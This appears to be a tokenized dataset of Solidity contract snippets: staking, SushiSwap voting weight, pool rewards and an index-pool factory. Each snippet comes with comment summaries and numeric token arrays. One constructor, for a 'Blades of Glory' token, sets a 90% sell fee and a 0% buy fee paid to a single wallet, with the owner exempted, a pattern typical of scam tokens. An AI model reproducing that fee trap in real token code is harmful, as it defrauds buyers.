203,
3639,
2254,
366,
2439,
13788,
20,
273,
22346,
63,
91,
7872,
20,
8009,
1614,
83,
13788,
31,
203,
3639,
2254,
366,
2439,
13788,
21,
273,
22346,
63,
91,
7872,
21,
8009,
1614,
83,
13788,
31,
203,
540,
203,
3639,
2254,
5605,
31,
203,
540,
203,
3639,
5605,
273,
389,
588,
8529,
1854,
12,
6625,
1769,
203,
3639,
309,
261,
203,
5411,
261,
1614,
83,
13788,
20,
405,
366,
2439,
13788,
21,
597,
5605,
411,
4752,
13,
747,
7010,
5411,
261,
1614,
83,
13788,
20,
422,
366,
2439,
13788,
21,
597,
5605,
411,
6437,
13,
747,
203,
5411,
261,
1614,
83,
13788,
20,
411,
366,
2439,
13788,
21,
597,
5605,
411,
8063,
13,
203,
3639,
262,
288,
203,
5411,
727,
59,
7872,
273,
5657,
1224,
20,
31,
203,
5411,
727,
59,
7872,
273,
5657,
1224,
21,
31,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/8453/0x4Ef67f28D9e59476EB06670E83F16615bfE5913D/sources/Glory.sol | launch buy fees launch sell fees exclude from paying fees or having max transaction amount | constructor() ERC20("Blades of Glory", "Glory") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniV2router);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevelopmentFee = 0;
uint256 _buyOperationsFee = 0;
uint256 _sellMarketingFee = 90;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevelopmentFee = 0;
uint256 _sellOperationsFee = 0;
uint256 totalSupply = 100_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevelopmentFee = _buyDevelopmentFee;
buyOperationsFee = _buyOperationsFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevelopmentFee + buyOperationsFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevelopmentFee = _sellDevelopmentFee;
sellOperationsFee = _sellOperationsFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevelopmentFee + sellOperationsFee;
marketingWallet = address(0x4FfA666E36fbCe9580cC8464bC91a2e60a1bcA86);
developmentWallet = address(0x4FfA666E36fbCe9580cC8464bC91a2e60a1bcA86);
liquidityWallet = address(0x4FfA666E36fbCe9580cC8464bC91a2e60a1bcA86);
operationsWallet = address(0x4FfA666E36fbCe9580cC8464bC91a2e60a1bcA86);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
| 16,806,040 | [
1,
20738,
30143,
1656,
281,
8037,
357,
80,
1656,
281,
4433,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
4802,
16601,
434,
15157,
630,
3113,
315,
21308,
630,
7923,
288,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
318,
77,
58,
22,
10717,
1769,
7010,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
374,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
374,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
26438,
14667,
273,
374,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
9343,
14667,
273,
374,
31,
203,
540,
203,
3639,
2254,
5034,
389,
87,
1165,
3882,
21747,
14667,
273,
8566,
31,
203,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "SafeMath: Add Overflow");}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "SafeMath: Underflow");}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "SafeMath: Mul Overflow");}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// EIP 2612
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IMasterChef {
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHI to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.
uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below.
}
function userInfo(uint256 pid, address account) external view returns (uint256, uint256);
function poolInfo(uint256 pid) external view returns (IMasterChef.PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function deposit(uint256 _pid, uint256 _amount) external;
}
interface IBentoBoxV1 {
function balanceOf(IERC20, address) external view returns (uint256);
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
function transfer(
IERC20 token,
address from,
address to,
uint256 share
) external;
function transferMultiple(
IERC20 token,
address from,
address[] calldata tos,
uint256[] calldata shares
) external;
function toShare(
IERC20 token,
uint256 amount,
bool roundUp
) external view returns (uint256 share);
function toAmount(
IERC20 token,
uint256 share,
bool roundUp
) external view returns (uint256 amount);
function registerProtocol() external;
}
interface ICreamRate {
function exchangeRateStored() external view returns (uint256);
}
contract SUSHIPOWAH {
using SafeMath for uint256;
IMasterChef chef = IMasterChef(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
IERC20 pair = IERC20(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0);
IERC20 bar = IERC20(0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272);
IERC20 sushi = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);
IERC20 axSushi = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a);
IBentoBoxV1 bento = IBentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
address crxSushi = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2;
function name() external pure returns(string memory) { return "SUSHIPOWAH"; }
function symbol() external pure returns(string memory) { return "SUSHIPOWAH"; }
function decimals() external pure returns(uint8) { return 18; }
function allowance(address, address) external pure returns (uint256) { return 0; }
function approve(address, uint256) external pure returns (bool) { return false; }
function transfer(address, uint256) external pure returns (bool) { return false; }
function transferFrom(address, address, uint256) external pure returns (bool) { return false; }
/// @notice Returns the collective SUSHI balance for a given `account` staked among protocols with adjustments for boosts.
function balanceOf(address account) external view returns (uint256) {
uint256 lp_totalSushi = sushi.balanceOf(address(pair));
uint256 lp_total = pair.totalSupply();
(uint256 lp_stakedBalance, ) = chef.userInfo(12, account);
uint256 lp_balance = pair.balanceOf(account).add(lp_stakedBalance);
uint256 lp_powah = lp_totalSushi.mul(lp_balance) / lp_total.mul(2); // calculate voting weight adjusted for LP staking
uint256 collective_xsushi_balance = collectBalances(account); // calculate xSushi staking balances
uint256 xsushi_powah = sushi.balanceOf(address(bar)).mul(collective_xsushi_balance) / bar.totalSupply(); // calculate xSushi voting weight
return lp_powah.add(xsushi_powah); // combine xSushi weight with adjusted LP voting weight for 'powah'
}
/// @dev Internal function to avoid stack 'too deep' errors on calculating {balanceOf}.
function collectBalances(address account) private view returns (uint256 collective_xsushi_balance) {
uint256 xsushi_balance = bar.balanceOf(account);
uint256 axsushi_balance = axSushi.balanceOf(account);
uint256 bento_balance = bento.toAmount(bar, bento.balanceOf(bar, account), false);
uint256 crxsushi_balance = IERC20(crxSushi).balanceOf(account).mul(ICreamRate(crxSushi).exchangeRateStored()) / 10**18; // calculate underlying xSushi claim
collective_xsushi_balance = xsushi_balance.add(axsushi_balance).add(bento_balance).add(crxsushi_balance);
}
/// @notice Returns the adjusted total 'powah' supply for LP & xSushi staking.
function totalSupply() external view returns (uint256) {
uint256 lp_totalSushi = sushi.balanceOf(address(pair));
uint256 xsushi_totalSushi = sushi.balanceOf(address(bar));
return lp_totalSushi.mul(2).add(xsushi_totalSushi);
}
} | calculate voting weight adjusted for LP staking
| uint256 lp_powah = lp_totalSushi.mul(lp_balance) / lp_total.mul(2); | 10,603,926 | [
1,
11162,
331,
17128,
3119,
13940,
364,
511,
52,
384,
6159,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
12423,
67,
23509,
9795,
273,
12423,
67,
4963,
55,
1218,
77,
18,
16411,
12,
9953,
67,
12296,
13,
342,
12423,
67,
4963,
18,
16411,
12,
22,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xDdc2C05e0f3701C86B8eb153Ec4f103704aC8Ba1/sources/project_/contracts/Staking.sol | 이미 스테이킹 중 기존 스테이킹 수량 + 신규 스테이킹 수량, 타임스탬프는 초기화 신규 스테이킹 | function stake(uint256 amount) public {
require(amount > 0, "BRS: amount cannot be zero");
require(amount <= brsToken.balanceOf(msg.sender), "BRS: not enough BRS");
brsToken.transferFrom(msg.sender, address(this), amount);
totalStakes += amount;
if (_stakes[msg.sender].amount > 0) {
_stakes[msg.sender] = Lib.Stake(
_stakes[msg.sender].amount + amount,
block.timestamp,
_stakes[msg.sender].pendingBonus + (_stakes[msg.sender].amount * bonusRate / 100 * (block.timestamp - _stakes[msg.sender].timestamp) / 31536000)
);
_stakes[msg.sender] = Lib.Stake(amount, block.timestamp, 0);
}
}
| 5,586,282 | [
1,
173,
256,
117,
172,
112,
121,
225,
173,
237,
102,
174,
232,
239,
173,
256,
117,
174,
229,
122,
225,
173,
102,
244,
225,
171,
121,
113,
173,
99,
117,
225,
173,
237,
102,
174,
232,
239,
173,
256,
117,
174,
229,
122,
225,
173,
235,
251,
172,
258,
236,
397,
225,
173,
238,
259,
171,
120,
255,
225,
173,
237,
102,
174,
232,
239,
173,
256,
117,
174,
229,
122,
225,
173,
235,
251,
172,
258,
236,
16,
225,
174,
230,
227,
173,
257,
231,
173,
237,
102,
174,
230,
110,
174,
247,
231,
172,
237,
247,
225,
173,
117,
235,
171,
121,
113,
174,
252,
247,
225,
173,
238,
259,
171,
120,
255,
225,
173,
237,
102,
174,
232,
239,
173,
256,
117,
174,
229,
122,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
384,
911,
12,
11890,
5034,
3844,
13,
1071,
288,
203,
3639,
2583,
12,
8949,
405,
374,
16,
315,
7192,
55,
30,
3844,
2780,
506,
3634,
8863,
203,
3639,
2583,
12,
8949,
1648,
5186,
87,
1345,
18,
12296,
951,
12,
3576,
18,
15330,
3631,
315,
7192,
55,
30,
486,
7304,
605,
13225,
8863,
203,
203,
3639,
5186,
87,
1345,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
1769,
203,
3639,
2078,
510,
3223,
1011,
3844,
31,
203,
203,
3639,
309,
261,
67,
334,
3223,
63,
3576,
18,
15330,
8009,
8949,
405,
374,
13,
288,
203,
5411,
389,
334,
3223,
63,
3576,
18,
15330,
65,
273,
10560,
18,
510,
911,
12,
203,
7734,
389,
334,
3223,
63,
3576,
18,
15330,
8009,
8949,
397,
3844,
16,
203,
7734,
1203,
18,
5508,
16,
203,
7734,
389,
334,
3223,
63,
3576,
18,
15330,
8009,
9561,
38,
22889,
397,
261,
67,
334,
3223,
63,
3576,
18,
15330,
8009,
8949,
380,
324,
22889,
4727,
342,
2130,
380,
261,
2629,
18,
5508,
300,
389,
334,
3223,
63,
3576,
18,
15330,
8009,
5508,
13,
342,
890,
3600,
5718,
3784,
13,
203,
5411,
11272,
203,
5411,
389,
334,
3223,
63,
3576,
18,
15330,
65,
273,
10560,
18,
510,
911,
12,
8949,
16,
1203,
18,
5508,
16,
374,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1313161554/0xC9A848AC73e378516B16E4EeBBa5ef6aFbC0BBc2/sources/AuriFairLaunch.sol | * @dev Update rewards for one pool/ | function _updatePoolRewards(uint256 _pid) internal {
require(_pid < poolLength, "invalid pool id");
PoolInfo storage pool = poolInfo[_pid];
uint32 lastAccountedTime = _lastAccountedRewardTime(_pid);
if (lastAccountedTime <= pool.lastRewardTimestamp) return;
uint256 _totalStake = pool.totalStake;
if (_totalStake == 0) {
pool.lastRewardTimestamp = lastAccountedTime;
return;
}
uint256 secondsElapsed = lastAccountedTime - pool.lastRewardTimestamp;
uint256 rTokensLength = rewardTokens.length;
for (uint256 i = 0; i < rTokensLength; i++) {
PoolRewardData storage rewardData = pool.poolRewardData[i];
uint256 reward = secondsElapsed * rewardData.rewardPerSecond;
rewardData.accRewardPerShare =
rewardData.accRewardPerShare +
(reward * PRECISION) /
_totalStake;
}
pool.lastRewardTimestamp = lastAccountedTime;
}
| 16,937,423 | [
1,
1891,
283,
6397,
364,
1245,
2845,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
2725,
2864,
17631,
14727,
12,
11890,
5034,
389,
6610,
13,
2713,
288,
203,
565,
2583,
24899,
6610,
411,
2845,
1782,
16,
315,
5387,
2845,
612,
8863,
203,
565,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
565,
2254,
1578,
1142,
3032,
329,
950,
273,
389,
2722,
3032,
329,
17631,
1060,
950,
24899,
6610,
1769,
203,
565,
309,
261,
2722,
3032,
329,
950,
1648,
2845,
18,
2722,
17631,
1060,
4921,
13,
327,
31,
203,
565,
2254,
5034,
389,
4963,
510,
911,
273,
2845,
18,
4963,
510,
911,
31,
203,
565,
309,
261,
67,
4963,
510,
911,
422,
374,
13,
288,
203,
1377,
2845,
18,
2722,
17631,
1060,
4921,
273,
1142,
3032,
329,
950,
31,
203,
1377,
327,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
3974,
28827,
273,
1142,
3032,
329,
950,
300,
2845,
18,
2722,
17631,
1060,
4921,
31,
203,
565,
2254,
5034,
436,
5157,
1782,
273,
19890,
5157,
18,
2469,
31,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
436,
5157,
1782,
31,
277,
27245,
288,
203,
1377,
8828,
17631,
1060,
751,
2502,
19890,
751,
273,
2845,
18,
6011,
17631,
1060,
751,
63,
77,
15533,
203,
1377,
2254,
5034,
19890,
273,
3974,
28827,
380,
19890,
751,
18,
266,
2913,
2173,
8211,
31,
203,
1377,
19890,
751,
18,
8981,
17631,
1060,
2173,
9535,
273,
203,
3639,
19890,
751,
18,
8981,
17631,
1060,
2173,
9535,
397,
203,
3639,
261,
266,
2913,
380,
7071,
26913,
13,
342,
203,
3639,
389,
4963,
510,
911,
31,
2
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
import "./IndexPool.sol";
import "./PoolDeployer.sol";
/// @notice Contract for deploying Trident exchange Index Pool with configurations.
/// @author Mudit Gupta
contract IndexPoolFactory is PoolDeployer {
constructor(address _masterDeployer) PoolDeployer(_masterDeployer) {}
function deployPool(bytes memory _deployData) external returns (address pool) {
(address[] memory tokens, uint136[] memory weights, uint256 swapFee) = abi.decode(_deployData, (address[], uint136[], uint256));
// @dev Strips any extra data.
_deployData = abi.encode(tokens, weights, swapFee);
// @dev Salt is not actually needed since `_deployData` is part of creationCode and already contains the salt.
bytes32 salt = keccak256(_deployData);
pool = address(new IndexPool{salt: salt}(_deployData, masterDeployer));
_registerPool(pool, tokens, salt);
}
}
| @dev Strips any extra data. @dev Salt is not actually needed since `_deployData` is part of creationCode and already contains the salt. | function deployPool(bytes memory _deployData) external returns (address pool) {
(address[] memory tokens, uint136[] memory weights, uint256 swapFee) = abi.decode(_deployData, (address[], uint136[], uint256));
_deployData = abi.encode(tokens, weights, swapFee);
bytes32 salt = keccak256(_deployData);
_registerPool(pool, tokens, salt);
}
| 922,435 | [
1,
1585,
7146,
1281,
2870,
501,
18,
225,
10848,
353,
486,
6013,
3577,
3241,
1375,
67,
12411,
751,
68,
353,
1087,
434,
6710,
1085,
471,
1818,
1914,
326,
4286,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7286,
2864,
12,
3890,
3778,
389,
12411,
751,
13,
3903,
1135,
261,
2867,
2845,
13,
288,
203,
3639,
261,
2867,
8526,
3778,
2430,
16,
2254,
26959,
8526,
3778,
5376,
16,
2254,
5034,
7720,
14667,
13,
273,
24126,
18,
3922,
24899,
12411,
751,
16,
261,
2867,
63,
6487,
2254,
26959,
63,
6487,
2254,
5034,
10019,
203,
203,
3639,
389,
12411,
751,
273,
24126,
18,
3015,
12,
7860,
16,
5376,
16,
7720,
14667,
1769,
203,
203,
3639,
1731,
1578,
4286,
273,
417,
24410,
581,
5034,
24899,
12411,
751,
1769,
203,
3639,
389,
4861,
2864,
12,
6011,
16,
2430,
16,
4286,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
